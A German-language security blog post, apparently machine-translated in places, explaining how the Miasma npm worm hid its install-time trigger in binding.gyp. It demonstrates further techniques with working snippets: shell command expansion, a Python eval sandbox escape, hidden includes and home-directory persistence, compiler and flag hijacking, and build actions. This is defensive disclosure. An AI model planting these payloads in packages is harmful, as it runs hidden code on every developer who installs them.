Aikido

Moment mal, was kann „binding.gyp“ denn alles? Eine Erkundung des seltsamsten Build-Systems von npm

Verfasst von
Ilyas Makari

Es ist erst ein paar Tage her, seit dem Der Miasma-Angriff betraf 32 offizielle Red-Hat-Pakete auf npm. Der Wurm fügte eine schädliche preinstall ein Skript zu jedem kompromittierten Paket, sodass Knoten index.js wurde automatisch ausgeführt, sobald du die Abhängigkeit installiert hast, und sammelte dabei Cloud-Anmeldedaten, CI-Token, SSH-Schlüssel und mehr, noch bevor du auch nur eine einzige Zeile deines eigenen Codes ausgeführt hast.

In den folgenden Tagen breitete sich Miasma weit über seine ursprünglichen Ziele hinaus aus und befiel mehrere weitere Pakete auf npm, PyPI und GitHub, darunter @vapi-ai/server-sdk (71.000 Downloads pro Woche) und ai-sdk-ollama (31.000 Downloads pro Woche).

‍Diese neue Welle bringt jedoch eine neue Herausforderung mit sich.

Wenn Sie eines dieser Pakete geprüft und sich dessen package.json, sah keine preinstall oder postinstall Hook und zu dem Schluss gekommen sind, dass die Installation sicher sei, sollten Sie noch einmal darüber nachdenken. Bei der neuesten Variante wurde der Auslöser aus package.json vollständig in eine Datei, die weitaus weniger genau unter die Lupe genommen wird und die npm bei der Installation gerne für dich ausführt: binding.gyp.

In diesem Artikel werde ich mich eingehend mit binding.gyp. Wir werden uns ansehen, was es ist, warum npm es ausführt und auf wie viele überraschende Arten es missbraucht werden kann, um beliebigen Code auszuführen, von Umgehung der Sandbox zu Compiler-Hijackingund sieht dabei aus wie eine ganz normale Build-Datei.

Was sind node-gyp und binding.gyp?

Viele npm-Pakete bestehen nicht ausschließlich aus JavaScript. Sie enthalten native Erweiterungen, die in C oder C++ geschrieben sind und erst zu einer Binärdatei kompiliert werden müssen, bevor Node sie laden kann. Das für diesen Kompilierungsschritt zuständige Tool ist node-gyp, ein plattformübergreifendes Build-Tool, das npm für dich bündelt und aufruft. Es handelt sich um einen Wrapper um GYP (Generate Your Projects), ein Build-System, das Google ursprünglich für das Chromium-Projekt entwickelt hat. Google hat Chromium jedoch von diesem System abgezogen und die Weiterentwicklung eingestellt, sodass node-gyp nun auf einem von Node.js gepflegten Fork basiert.

node-gyp weiß, was es bauen muss, indem es eine Datei namens binding.gyp die sich im Stammverzeichnis des Pakets befindet. Es handelt sich um eine JSON-ähnliche Datei, die den Build beschreibt (technisch gesehen ein Python-Literal, was später noch eine Rolle spielen wird). Sie legt fest, welche Quelldateien kompiliert werden sollen, welche Include-Verzeichnisse verwendet werden sollen und so weiter. Ein ganz normaler, ehrlicher binding.gyp könnte so aussehen:

{
  "targets": [
    {
      "target_name": "addon",
      "sources": ["src/addon.cc"]
    }
  ]
}

Dies kann jedoch leicht zu einem Sicherheitsproblem werden. Wenn npm ein Paket installiert und dabei feststellt, dass ein binding.gyp im Stammverzeichnis wird es automatisch ausgeführt node-gyp neu erstellen für dieses Paket als Teil der Installation. Das Paket muss kein Skript in package.json um das zu verwirklichen. Allein die Anwesenheit eines binding.gyp Diese Datei reicht aus, damit der Code während der Installation ausgeführt wird.

Selbst ein Paket, das völlig sauber ist, package.json… ohne Lebenszyklus-Hooks löst die Gyp-Toolchain bei der Installation aus, einfach weil die Datei vorhanden ist.

Wie Miasma dies ausnutzte

Hier ist ein Ausschnitt aus dem, was der Wurm in die kompromittierten Pakete eingeschleust hat:

{
  "targets": [
    {
      "target_name": "Setup",
      "type": "none",
      "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
    }
  ]
}

Auf den ersten Blick sieht das aus wie ein Build-Ziel mit dem Namen Setup mit einer einzigen Quelldatei. Sehen Sie sich das genauer an Quellen Array. Anstelle eines einfachen Dateinamens enthält es eine Zeichenkette, die in <!(...).

Das <!(...) Die Syntax ist eine Gyp-Funktion, die als Befehlserweiterung bezeichnet wird. Wenn Gyp diese Datei analysiert, behandelt es den Inhalt nicht als literale Zeichenkette. Es führt den eingeschlossenen Shell-Befehl aus und setzt die Ausgabe des Befehls wieder in das Feld ein.

Also, wenn node-gyp behandelt das Ziel, führt es Folgendes aus:

node index.js > /dev/null 2>&1 && echo stub.c

Das lässt sich wie folgt aufschlüsseln:

  • Knoten index.js führt die schädliche Nutzlast aus. Dies index.js ist dieselbe Miasma-Nutzlast, die wir bereits in der frühere Angriffe auf Red Hat, der verschleierte Anmeldedaten-Stealer und Wurm aus dieser Kampagne.
  • > /dev/null 2>&1 verwirft die gesamte Ausgabe, sodass in den Installationsprotokollen nichts Verdächtiges auftaucht.
  • && echo stub.c gibt einen harmlos aussehenden Dateinamen aus. Gyp erfasst diesen als Wert des Quellen Eintrag, sodass der Build weiterläuft und alles normal aussieht.

Das Programm wird ausgeführt, bleibt im Hintergrund und der Build-Vorgang wird normal abgeschlossen. Ein Preinstall-Hook ist nicht erforderlich.

Die Expansionssyntax und warum sie noch schlimmer ist, als sie aussieht

GYP bietet tatsächlich mehrere Varianten der Befehlserweiterung an:

  • <!(command) / >!(Befehl) / ^!(Befehl) – führt den Befehl aus und ersetzt dessen Rohausgabe durch eine einzige Zeichenkette.
  • <!@(command) / >!@(Befehl) / ^!@(Befehl) – führt den Befehl aus und zerlegt dessen Ausgabe in eine Liste, was praktisch ist, wenn gyp ein Array erwartet.
  • <!pymod_do_main(module args) – Einfuhren module als Python-Modul und ruft dessen DoMain() Funktion, wobei der Rückgabewert als Ersetzungswert verwendet wird.
  • <|(name item1 item2 ...) erstellt eine Datei namens Name beim Parsen, wobei jedes Element in einer eigenen Zeile steht.

All dies wird zum Zeitpunkt der Syntaxanalyse ausgeführt, noch bevor die eigentliche Kompilierung stattfindet.

Intuitiv würde man erwarten, dass dies nur in echten, dokumentierten Feldern wie Quellen, Bibliotheken oder include_dirs. Diese Annahme ist falsch, und genau hier wird es erst richtig interessant.

GYP beschränkt die Befehlserweiterung nicht auf eine bekannte Liste von Feldern. Wenn es eine .gyp Datei durchläuft das Programm die gesamte geparste Struktur rekursiv und erweitert <!(...) und <!@(...) innerhalb jedes gefundenen Zeichenfolgenwerts, unabhängig davon, unter welchem Schlüssel sich diese Zeichenfolge befindet. Es gibt kein Schema, das vorschreibt: „Nur diese Feldnamen sind zulässig.“

In der Praxis bedeutet das, dass ein Angreifer einen Feldnamen erfinden kann (wie irgendein_Zufallsschlüssel) das in der gyp-Dokumentation überhaupt nicht vorkommt, und der darin enthaltene Befehl wird trotzdem ausgeführt:

{
  "some_random_key": "<!(node evil.js && echo 0)",
  "targets": []
}

Es gibt keine irgendein_Zufallsschlüssel Feld in Gyp. Es muss nicht unbedingt eines sein. Die Zeichenfolge unter diesem Schlüssel enthält ein <!(...) Sobald das Token erreicht wird, greift der rekursive Auswertungsdurchlauf darauf zu, und der Befehl wird ausgeführt. Genau das macht die Überprüfung dieser Fälle so mühsam. Man kann nicht einfach die wenigen Felder überprüfen, von denen man annimmt, dass sie gefährlich sind, da die Nutzlast unter jedem beliebigen Schlüssel und in beliebiger Tiefe in der Datei verborgen sein kann.

escape aus der Sandkiste

Du dachtest, die Ausweitung der Gedankenbefehle sei riskant? Von hier an wird es nur noch schlimmer.

Bisher haben wir uns mit binding.gyp als eine etwas ungewöhnliche JSON-Datei mit einigen zusätzlichen Funktionen. Im Grunde genommen handelt es sich dabei um ein Python-Wörterbuch, das die Datei direkt an Python übergibt. eval()Verstehst du, worauf ich hinaus will?

Genau: Die Datei, die npm bei der Installation für dich ausführt, wird von eval. Den Gyp-Autoren war durchaus bewusst, wie dies missbraucht werden könnte, daher nennen sie eval ohne die integrierten Funktionen:

eval(file_contents, {"__builtins__": {}}, None)

Der Gedanke dahinter ist, dass ein Angreifer, der die Gyp-Datei kontrolliert, ohne verfügbare integrierte Funktionen keine gefährlichen Aktionen ausführen kann, wie zum Beispiel das Ausführen eines Shell-Befehls oder das Auslesen von Dateien von der Festplatte. Die Bausteine, die man normalerweise dafür verwenden würde, wie zum Beispiel __import__ um das os Modul oder öffnen Die Möglichkeit, eine Datei zu bearbeiten, wurde vollständig eingeschränkt. Es handelt sich um eine klassische Sandbox. Allerdings ist es, wie bei fast jedem Versuch, Python in eine Sandbox zu verlagern, eval, kann es maskiert werden.

Wir können direkt wieder aus dieser Sandbox herauskommen und GYP dazu bringen, beliebigen Python-Code auszuführen. Hier ist ein vollständiges Schadprogramm binding.gyp, im Wortlaut:

[c für c in ().__class__.__base__.__subclasses__() wenn c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node evil.js')

Das war's. Das ist die gesamte Datei. Es ist keine JSON-Syntax erforderlich. Wir haben keine der üblichen Ziele oder Quellen Felder, die man in einer Gyp-Datei erwarten würde. Nur ein einziger Python-Ausdruck. Das funktioniert, weil vor Knoten evil.js aufgerufen wird, wendet der Ausdruck einen kleinen Trick an, um aus eval()Sandkasten.

Die gefährlichen Funktionen wurden entfernt, aber die harmlosen Objekte, die man noch immer anfassen kann, enthalten insgeheim weiterhin versteckte Verweise auf sie. Ausgehend von dem harmlosen leeren Tupel (), es durchläuft die internen Objektbeziehungen von Python, bis es etwas findet, das noch einen Verweis auf die entfernten Funktionen enthält, greift diese ab und nutzt sie, um die os Modul und führen Sie den Shell-Befehl aus Knoten evil.js.

Und das wird ausgeführt, sobald jemand das Programm startet npm install <package>, lediglich als Nebeneffekt der Analyse der Datei durch gyp.

Da die gesamte Gyp-Syntax im Grunde genommen nur ein Python-Wörterbuch ist, lässt sich der Ausdruck in jeden beliebigen Wert einer ansonsten völlig normal aussehenden Build-Datei einfügen:

{
  "variables": {
    "module_name": "fast_crypto",
    "openssl_fips": [c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node evil.js') or "",
  },
  "targets": [
    {
      "target_name": "<(module_name)",
      "sources": ["src/binding.cc", "src/crypto.cc"],
      "include_dirs": ["<!(node -p \"require('node-addon-api').include\")"],
      "defines": ["NAPI_VERSION=8"],
    }
  ]
}

Dies ist eine Arbeitsversion binding.gyp das würde tatsächlich ein natives Modul erstellen. Die Nutzlast ist im Inneren des openssl_fips Variable, die so gestaltet ist, dass sie sich nahtlos in den Rest der Build-Datei einfügt. Nein <!(...) Eine Befehlserweiterung war erforderlich.

Bei den Bedingungen ist es dasselbe. Mit GYP kann eine Build-Datei je nach Umgebung unterschiedliche Einstellungen anwenden, und zwar über eine Bedingungen Schlüssel.

"conditions": [
  ["OS=='win'", { "sources": ["socket_win.cc"] }],
  ["OS=='linux'", { "defines": ["LINUX"] }],
]

Diese Bedingungszeichenfolgen, "OS=='win'", sind eigentlich als kleine boolesche Prüfungen gedacht. Gyp wertet sie jedoch genauso aus, wie es die Datei analysiert: Es kompiliert jede einzelne und führt sie durch eval(), mit denselben reduzierten Einbaufunktionen. Das bedeutet, dass eine Bedingung tatsächlich einen beliebigen Python-Ausdruck enthalten kann. Mit demselben escape können wir die Bedingungen Feld in einen weiteren Angriffsvektor, den man im Auge behalten sollte:

"conditions": [
  ["[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node evil.js') == 0", {}],
]

Wir haben Ihnen gerade gezeigt, wie man binding.gyp zu einem beliebigen Code-Ausführer, der bei der Installation ausgeführt wird (ohne Hooks nach der Installation).

Sie fragen sich vielleicht, warum das alles so wichtig ist. Wir haben doch bereits mehrere Möglichkeiten, Code bei der Installation auszuführen. Es gibt postinstall in package.json. Es gibt Befehlserweiterungen in binding.gyp.

Der Unterschied besteht darin, dass die tatsächlichen, dokumentierten Funktionen zwar Risiken bergen, diese Risiken jedoch in einer Weise, die das Ökosystem bereits versteht. Ein Prüfer weiß, dass er die Skripte einfügen package.json. Ein Scanner kann so konfiguriert werden, dass er <!(...) Erweiterungen. Wir können sie vorhersehen, Regeln dafür aufstellen und uns gegen sie wappnen, gerade weil sie ja eigentlich vorgesehen sind.

Das Entkommen aus einer Sandbox ist ein ganz anderes Problem, denn das war von vornherein nie beabsichtigt. Niemand rechnet damit, binding.gyp um lediglich reinen Python-Code zu hosten, der bei der Installation ausgeführt wird.

Code in eingebundenen Dateien verstecken

Bislang befand sich jede Nutzlast in einem einzigen binding.gyp Datei. Das muss nicht sein.

binding.gyp unterstützt ein umfasst Schlüssel. Der Zweck besteht darin, gemeinsame Build-Einstellungen in eine separate Datei auszulagern und sie in mehrere Ziele oder Projekte einzubinden, damit sich Wiederholungen vermeiden lassen. Wenn gyp auf ein umfasst Eintrag, lädt das Programm diese Datei und fügt ihren Inhalt vor der Verarbeitung in die aktuelle Datei ein.

Der Haken daran ist, dass die eingebundene Datei genau wie die Hauptdatei verarbeitet wird binding.gyp, was bedeutet, dass alle in den vorangegangenen Abschnitten beschriebenen Techniken zur Umgehung von Speicherauslagerung oder Sandbox-Einschränkungen auch hier zum Tragen kommen. Ein Angreifer kann die Payload aus binding.gyp und in eine eingebundene Datei, sodass die Hauptdatei wie eine normale Build-Konfigurationsdatei aussieht:

{
  "includes": ["evil"],
  "targets": [...]
}

Das mitgelieferte böse Die Datei kann dann die eigentliche Nutzlast enthalten, die wiederum unter einem beliebigen Schlüssel an einer beliebigen Stelle in der Datei versteckt werden kann.

{
  "anyrandomname": {
    "somethingarbitrary": "<!(node evil_script.js && echo 0)"
  }
}

Zwei Dinge machen dies für einen Angreifer ideal und für einen Prüfer problematisch. Erstens kann die enthaltene Datei einen beliebigen Namen haben. Sie benötigt keine .gyp oder .gypi Erweiterung. Sie muss lediglich gültige Daten im JSON-Format enthalten. Eine Datei mit dem harmlosen Namen Konfiguration oder LIZENZ funktioniert genauso gut.

Zweitens, umfasst sind transitiv. Eine eingebundene Datei kann ihrerseits eine weitere Datei einbinden, die wiederum eine weitere einbinden kann und so weiter. Nun könnte die bei der Installation tatsächlich ausgeführte Nutzlast drei oder vier Dateien von der binding.gyp Du hast mit der Analyse begonnen.

Automatische Einbindung und Persistenz

Glaubst du, du hast den Dreh bei den Includes jetzt raus? Es gibt aber eine Überraschung: Du brauchst nicht einmal eine umfasst wichtig, da node-gyp einige Dateien selbstständig herunterlädt.

Wenn node-gyp einen Build konfiguriert, sucht es im Stammverzeichnis des Pakets nach zwei Dateien, config.gypi und common.gypiund fügt alle gefundenen Elemente zwangsweise ein, genau so, als hättest du sie in umfasst. Sie werden wie jede andere GYP-Datei verarbeitet, sodass alle Tricks aus den vorangegangenen Abschnitten auch hier funktionieren. Der Haken für einen Prüfer ist, dass nichts in binding.gyp zeigt auf sie. A binding.gyp kann aus einem einzelnen leeren Klammerpaar bestehen und dennoch eine Nutzlast aus einem gleichrangigen Element extrahieren config.gypi:

{ }
{
  "variables": {
    "anything": "<!(node evil.js && echo 0)"
  }
}

Die erste Datei ist die gesamte binding.gyp. Der zweite ist config.gypi, das still daneben liegt, und es läuft bei der Installation.

Das ist schlimm, aber das Nächste ist noch schlimmer. node-gyp bindet außerdem automatisch ~/.gyp/include.gypi, das aus dem Home-Verzeichnis des Benutzers aufgelöst wird, in jeden Gyp-Build, den dieser Benutzer ausführt. Nicht in dieses Projekt, sondern in jedes Projekt. Wenn man dort einmal eine Payload ablegt, bleibt sie in jedem nativen npm install mit einem binding.gyp das tust du nie wieder.

Code über Abhängigkeiten einbinden

Unabhängig von umfasst, Gyp-Ziele können erklären Abhängigkeiten auf andere Ziele, die in einem völlig anderen .gyp Dateien.

Da eine Abhängigkeit auf eine andere Gyp-Datei verweist und diese Datei wie jede andere analysiert und aufgelöst wird, bieten Abhängigkeiten einem Angreifer eine zweite, unabhängige Möglichkeit, auf Code in einer anderen Datei zuzugreifen:

{
  "targets": [
    {
      "target_name": "main",
      "type": "none",
      "dependencies": ["dep.gyp:dep_target"]
    }
  ]
}

Die genannten dep.gyp Die Datei enthält dann die Nutzlast in einem ihrer Ziele:

{
  "targets": [
    {
      "target_name": "dep_target",
      "type": "none",
      "sources": ["<!(node malicious.js && echo stub.c)"]
    }
  ]
}

Wie bei umfasst… ist der Name der referenzierten Datei unerheblich, solange sie gültige Daten im JSON-Format enthält. Und genau wie umfasst, diese Abhängigkeiten kann auch transitiv sein.

Compiler-Hijacking

Der binding.gyp steuert zudem, wie der native Code erstellt wird, welcher Compiler aufgerufen wird und welche Optionen ihm übergeben werden, und diese Steuerung wird zu einem eigenen Angriffsvektor.

Bei einer nativen Kompilierung muss bekannt sein, welcher Compiler verwendet werden soll und welche Optionen ihm übergeben werden müssen. Gyp stellt dies an zwei Stellen bereit:

  • pro Ziel-Einstellung wie cflags, definiert, und include_dirs.
  • Globale Einstellungen vornehmen (Linux / macOS) – ein Block auf oberster Ebene in einer Gyp-Datei, der die Toolchain für den gesamten Build festlegt:
    • der C-Compiler (CC)
    • der C++-Compiler (CXX)
    • der Linker (LINK)
    • der Archiver (AR)
    • Compiler-Optionen (CFLAGS)
    • Linker-Flags (LDFLAGS)

Da die Kompilierung bei der Installation erfolgt, könnte ein Angreifer den Compiler ersetzen und ihn auf sein eigenes Skript verweisen:

{
  "make_global_settings": [
    ["CC", "<(module_root_dir)/cc-evil.sh"]
  ],
  "targets": [
    {
      "target_name": "addon",
      "type": "static_library",
      "sources": ["src/addon.c"]
    }
  ]
}

Jetzt läuft der Build cc-evil.sh als Compiler für jeden Kompilierungsschritt, wobei cc-evil.sh könnte so aussehen:

Knoten "$(dirname "$0")/evil.js"
exec cc "$@"

Das Skript kann alles tun, was es will (zum Beispiel evil.js) und dann den eigentlichen Compiler aufrufen, damit der Build weiterhin erfolgreich ist und niemand etwas bemerkt.

GYP verfügt sogar über eine spezielle Konvention hierfür, die für Compiler-Launcher wie ccache gedacht ist. A *_wrapper key fügt Ihr Programm vor dem eigentlichen Compiler ein:

{
  "make_global_settings": [
    ["CC", "/usr/bin/cc"],
    ["CC_wrapper", "<(module_root_dir)/cc-evil-wrapper.sh"]
  ],
  "targets": [
    {
      "target_name": "addon",
      "type": "static_library",
      "sources": ["src/addon.c"]
    }
  ]
}

Hier läuft Gyp cc-evil-wrapper.sh /usr/bin/cc ..., wobei dem schädlichen Skript der echte Compiler als Argument übergeben wird.

Zudem muss ein Angreifer den Compiler nicht einmal austauschen. Er kann ihm einfach Befehlszeilenoptionen übergeben, und gyp schreibt diese Optionen in die generierte Build-Datei. Bei einem Make-basierten Build werden die Optionen zu machen Variablen und machen kann eine $(shell) Befehl, den er darin findet. Ein Flag-Wert kann also missbraucht werden, um einen bösartigen Befehl zu übertragen.

Es gibt zwei Stellen, an denen man injizieren kann. Am Ziel selbst, zum Beispiel durch cflags (oder xcode_settings (unter macOS):

{
  "targets": [
    {
      "target_name": "addon",
      "type": "static_library",
      "sources": ["src/addon.c"],
      "cflags": ["$(shell node <(module_root_dir)/evil.js)"]
    }
  ]
}

Oder global für jedes Ziel, durch Globale Einstellungen vornehmen:

{
  "make_global_settings": [
    ["CFLAGS", "$(shell node <(module_root_dir)/evil.js)"]
  ],
  "targets": [
    {
      "target_name": "addon",
      "type": "static_library",
      "sources": ["src/addon.c"]
    }
  ]
}

Wenn der Build ausgeführt wird, wird die schädliche $(shell ...) Der Befehl wird ausgeführt, und die Ausgabe des Befehls wird als harmloses Flag an den Compiler weitergeleitet, sodass der Build erfolgreich abläuft.

Der genaue Mechanismus zur Manipulation eines Compilers kann je nach Build-Tool und Betriebssystem variieren. Die wichtigste Erkenntnis ist jedoch, dass es sich lohnt, die Einstellungen von Compiler und Linker wie Code zu behandeln, da Build-Tools wie machen können beurteilen, was in ihnen steckt, bei npm install Zeit.

Code über Aktionen ausführen

Bislang basierten alle Angriffe auf Befehlserweiterung, Sandbox-Umgehung oder Compiler-Hijacking. GYP verfügt über eine weitere Funktion, die Befehle von Haus aus ausführt: Maßnahmen.

Eine Aktion ist ein an ein Ziel angehängter Build-Schritt, der einen beliebigen Befehl ausführt, in der Regel um eine Quelldatei zu generieren oder Eingaben vor der Kompilierung zu verarbeiten. Es handelt sich um eine dokumentierte Funktion, die innerhalb des Maßnahmen Array. Jede Aktion gibt einen auszuführenden Befehl, dessen Eingaben und dessen Ausgaben an.

Da der Sinn einer Aktion darin besteht, einen Befehl auszuführen, benötigt ein Angreifer hier nicht einmal die Erweiterungssyntax. Er kann gyp einfach anweisen, seine Payload direkt auszuführen:

{
  "targets": [
    {
      "target_name": "via_actions",
      "type": "none",
      "actions": [
        {
          "action_name": "poc_action",
          "inputs": [],
          "outputs": ["poc_action_done"],
          "action": ["node", "evil.js"]
        }
      ]
    }
  ]
}

Wenn das Ziel kompiliert wird, wird gyp ausgeführt Knoten evil.js. Nein <!(...) erforderlich, keine Quelldatei zum Kompilieren, sondern lediglich ein Build-Schritt, dessen einzige Aufgabe darin besteht, einen Befehl auszuführen.

Es gibt einen nahen Verwandten, den man kennen sollte: Regeln. Eine Regel verhält sich wie eine Aktion, wird jedoch einmal pro Eingabedatei ausgeführt, die einer bestimmten Dateiendung entspricht. Wenn Sie eine Regel auf eine Datei mit der richtigen Dateiendung anwenden, wird der zugehörige Befehl für diese Datei ausgeführt:

{
  "targets": [
    {
      "target_name": "via_rules",
      "type": "none",
      "sources": ["trigger.poc"],
      "rules": [
        {
          "rule_name": "poc_rule",
          "extension": "poc",
          "outputs": ["<(RULE_INPUT_ROOT).done"],
          "action": ["node", "evil.js"]
        }
      ]
    }
  ]
}

Hier gibt das Ziel eine einzelne Quelldatei an, trigger.poc. Die Regel besagt, dass für jede Eingabedatei, die auf .poc, Gyp sollte laufen Knoten evil.js. Da der Angreifer beide Hälften kontrolliert, versendet er eine Wegwerfdatei mit der passenden Dateiendung, woraufhin die Regel beim Erstellen der Datei ausgelöst wird. Der Effekt entspricht dem einer Aktion, wobei der Auslöser eine passende Datei ist und nicht das Ziel selbst.

Es gibt noch ein drittes Mitglied dieser Familie, Nachbearbeitungen, ein Befehl, der nach dem Erstellen eines Ziels ausgeführt wird. Er führt dieselbe Art von Aktion Array:

{
  "targets": [
    {
      "target_name": "via_postbuilds",
      "type": "none",
      "postbuilds": [
        {
          "postbuild_name": "poc_postbuild",
          "action": ["node", "evil.js"]
        }
      ]
    }
  ]
}

Das Wichtigste ist, dass ein binding.gyp Die Datei führt den Code bei der Installation aus, genau wie ein preinstall oder postinstall sich einklinken package.json, weshalb es genau denselben Verdacht verdient. Das Vorhandensein von binding.gyp In einer Abhängigkeit bedeutet dies, dass der Code während der Installation ausgeführt werden kann, unabhängig davon, was package.json sagt. Ein sauberer package.json Das Fehlen von Installationsskripten ist kein Beweis mehr dafür, dass nichts läuft.

Sicherheitsteams sollten hier besonders aufmerksam sein. Die Drahtzieher hinter Supply-Chain-Angriffen wie Miasma suchen offensichtlich nach neuen Wegen, um Code bereits bei der Installation auszuführen, und binding.gyp Das kann man leicht übersehen, vor allem wenn es um nicht dokumentiertes Verhalten geht, wie zum Beispiel das Umgehen der Sandbox. Es wäre naiv anzunehmen, dass wir damit das letzte Mal davon hören.

Wie Aikido dies erkennt

Wenn Sie Aikido , überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Die jüngste Miasma-Kampagne, die nun bei der Installation binding.gyp Die Ausführung wird als kritisches Problem der Stufe 100/100 angezeigt. Aikido jede Nacht Aikido , wir empfehlen jedoch, sofort einen manuellen Scan auszulösen, wenn Sie glauben, dass Sie betroffen sein könnten.

Sie sind noch kein Aikido ? Erstellen Sie ein Konto und verbinden Sie Ihre Repos. Unser Malware-Schutz ist im kostenlosen Tarif enthalten, eine Kreditkarte ist nicht erforderlich.

Als zusätzliche Sicherheitsstufe bietet Ihnen Aikido Device Protection“ Transparenz und Kontrolle über die auf den Geräten Ihres Teams installierten Softwarepakete, darunter Browser-Erweiterungen, Bibliotheken, Plugins und Abhängigkeiten.

Um ein solches Paket zu stoppen, bevor es überhaupt zur Installation gelangt, verwenden Sie Aikido Chain (Open Source). Es fügt sich in Ihren bestehenden Workflow ein, fängt Befehle wie npm, npx, yarn, pnpm und pnpx ab und überprüft die Pakete vor der Installation anhand Aikido .

Teilen:

https://www.aikido.dev/blog/exploring-binding-gyp-npm-build-system

4.7/5
Falschpositive Ergebnisse leid?

Probieren Sie Aikido, wie 100.000 andere.
Jetzt starten
Erhalten Sie eine personalisierte Führung

Von über 100.000 Teams vertraut

Jetzt buchen
Scannen Sie Ihre App nach IDORs und realen Angriffspfaden

Von über 100.000 Teams vertraut

Scan starten
Erfahren Sie, wie KI-Penetrationstests Ihre App testen

Von über 100.000 Teams vertraut

Testen starten

Sicherheit jetzt implementieren

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.